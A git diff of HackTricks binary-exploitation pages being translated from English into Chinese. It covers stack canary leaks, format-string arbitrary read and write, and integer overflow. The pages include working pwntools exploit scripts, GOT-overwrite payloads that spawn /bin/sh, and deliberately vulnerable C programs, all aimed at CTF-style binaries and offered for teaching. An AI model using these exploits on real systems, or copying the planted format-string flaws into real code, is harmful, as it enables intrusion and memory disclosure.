+然后,攻击者在有效负载的中间**调用puts功能**,这将**打印所有金丝雀**(除了第一个空字节)。 -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +有了这些信息,攻击者可以**制作并发送一个新攻击**,知道金丝雀(在同一程序会话中)。 -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +显然,这种策略是非常**受限**的,因为攻击者需要能够**打印**其**有效负载**的**内容**以**提取**金丝雀,然后能够创建一个新有效负载(在**同一程序会话**中)并**发送****真实的缓冲区溢出**。 -**CTF examples:** +**CTF示例:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64位,启用ASLR但没有PIE,第一步是填充溢出直到金丝雀的字节0x00,然后调用puts并泄露它。利用金丝雀创建一个ROP小工具来调用puts以泄露GOT中puts的地址,然后是一个ROP小工具来调用`system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32位,ARM,无relro,金丝雀,nx,无pie。通过调用puts来溢出以泄露金丝雀 + ret2lib调用`system`,使用ROP链弹出r0(参数`/bin/sh`)和pc(system的地址) -## Arbitrary Read +## 任意读取 -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +通过**任意读取**,如格式**字符串**提供的,可能泄露金丝雀。查看这个例子:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries),你可以阅读关于滥用格式字符串以读取任意内存地址的内容: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- 这个挑战以非常简单的方式滥用格式字符串从栈中读取金丝雀 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..56a5b6bc0 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# 常见的利用问题 {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## 远程利用中的FD -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +当向远程服务器发送一个利用,例如调用 **`system('/bin/sh')`**,这将在服务器进程中执行,并且 `/bin/sh` 将期望从 stdin (FD: `0`) 接收输入,并将输出打印到 stdout 和 stderr (FDs `1` 和 `2`)。因此,攻击者将无法与 shell 进行交互。 -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +解决此问题的一种方法是假设服务器启动时创建了 **FD 编号 `3`**(用于监听),然后,您的连接将位于 **FD 编号 `4`**。因此,可以使用系统调用 **`dup2`** 将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4(攻击者的连接)中,这样在执行后就可以与 shell 进行联系。 +[**从这里获取利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +注意,socat 已经将 **`stdin`** 和 **`stdout`** 转发到套接字。然而,`pty` 模式 **包含 DELETE 字符**。因此,如果你发送一个 `\x7f` ( `DELETE` -),它将 **删除你利用的前一个字符**。 -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +为了绕过这个问题,**必须在发送的任何 `\x7f` 前加上转义字符 `\x16`。** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**在这里你可以** [**找到这个行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..61d86eb71 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
+## 基本信息 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。 -{% embed url="https://www.stmcyber.com/careers" %} +其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。 -## Basic Information - -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. - -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. - -#### Formatters: +当 **攻击者的文本作为第一个参数** 被用作此函数时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。 +#### 格式化符: ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**示例:** -**Examples:** - -- Vulnerable example: - +- 漏洞示例: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- 正常使用: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- 缺失参数: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf 漏洞: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **访问指针** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +格式 **`%$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做: ```c printf("%x %x %x %x") ``` +并且你会从第一个参数读取到第四个参数。 -and you would read from the first to the forth param. - -Or you could do: - +或者你可以这样做: ```c printf("%4$x") ``` +并直接读取第四个。 -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +注意,攻击者控制着 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。 > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> 控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。 -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **任意读取** +可以使用格式化器 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈中的第四个位置开始,则可以使用以下方式打印二进制文件的开头: ```python from pwn import * @@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> 注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。 -### Find offset +### 查找偏移量 -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A's`。
-Brute Force printf offset - +暴力破解 printf 偏移量 ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +102,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### 有多有用 -Arbitrary reads can be useful to: +任意读取可以用于: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **从内存中转储** **二进制文件** +- **访问存储敏感** **信息** 的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中) -## **Arbitrary Write** +## **任意写入** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +格式化器 **`%$n`** **在** \ 参数指定的地址中 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%$n`** 在任意地址写入任意数字。 +幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.%$n`** 在 **`num` 位置指向的地址中写入数字 **``**。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +然而,请注意,通常为了写入像 `0x08049724` 这样的地址(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作会进行两次,一次用于地址的最高 2B,另一次用于最低的。 -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到 exec 的技术: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +我们将**覆盖**一个**接收**来自**用户**的**参数**的**函数**,并将其**指向** **`system`** **函数**。\ +如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入其他 2 字节。为此使用**`$hn`**。 -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** 被调用为地址的 2 个高字节 +- **LOB** 被调用为地址的 2 个低字节 -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。 -If HOB < LOB\ +如果 HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +如果 HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` +### Pwntools 模板 -### Pwntools Template - -You can find a **template** to prepare a exploit for this kind of vulnerability in: +您可以在以下位置找到用于准备此类漏洞的 **模板**: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +或者这个基本示例来自 [**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -225,27 +196,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## 格式字符串到缓冲区溢出 -## Format Strings to BOF +可以利用格式字符串漏洞的写入操作来**写入栈的地址**并利用**缓冲区溢出**类型的漏洞。 -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32位,无relro,无canary,nx,无pie,基本使用格式字符串从栈中泄露标志(无需更改执行流程) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`指向`strlen`。当流程返回到main时,`strlen`将以用户输入执行并指向`system`,它将执行传递的命令。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..4d40ba391 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# 格式字符串 - 任意读取示例 {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## 读取二进制开始 +### 代码 ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +用以下命令编译: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### 利用 ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- **偏移量是 11**,因为设置多个 A 并且 **暴力破解**从 0 到 50 的循环发现,在偏移量 11 处,加上 5 个额外字符(在我们案例中是管道 `|`),可以控制一个完整的地址。 +- 我使用了 **`%11$p`**,并进行了填充,直到地址全部为 0x4141414141414141。 +- **格式字符串有效负载在地址之前**,因为 **printf 在遇到空字节时停止读取**,所以如果我们先发送地址再发送格式字符串,printf 将永远无法到达格式字符串,因为在此之前会找到一个空字节。 +- 选择的地址是 0x00400000,因为这是二进制文件的起始位置(没有 PIE)。
-## Read passwords - +## 读取密码 ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +用以下命令编译: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### 从栈中读取 -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +**`stack_password`** 将存储在栈中,因为它是一个局部变量,因此仅仅利用 printf 显示栈的内容就足够了。这是一个利用 BF 漏出栈中前 100 个位置的密码的漏洞: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +在图像中可以看到,我们可以从栈中泄露第 `10` 个位置的密码:
-### Read data +### 读取数据 -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +运行相同的漏洞利用,但使用 `%p` 而不是 `%s`,可以从栈中泄露一个堆地址,位于 `%25$p`。此外,将泄露的地址 (`0xaaaab7030894`) 与该进程中密码在内存中的位置进行比较,我们可以获得地址差:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +现在是时候找到如何控制栈中的一个地址,以便从第二个格式字符串漏洞访问它: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +可以看到在 **try 14** 中,使用的传递方式可以控制一个地址:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..983ed93ad 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# 格式字符串模板 {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..ab02b661a 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# 整数溢出 {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +**整数溢出**的核心在于计算机编程中数据类型的**大小**所施加的限制和数据的**解释**。 -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +例如,一个**8位无符号整数**可以表示从**0到255**的值。如果你尝试在8位无符号整数中存储值256,由于其存储容量的限制,它会回绕到0。同样,对于一个**16位无符号整数**,它可以容纳从**0到65,535**的值,将1加到65,535会将值回绕到0。 -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +此外,一个**8位有符号整数**可以表示从**-128到127**的值。这是因为一个位用于表示符号(正或负),剩下7个位用于表示大小。最小的负数表示为**-128**(二进制`10000000`),最大的正数是**127**(二进制`01111111`)。 -### Max values +### 最大值 -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +对于潜在的**网络漏洞**,了解最大支持值是非常有趣的: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let 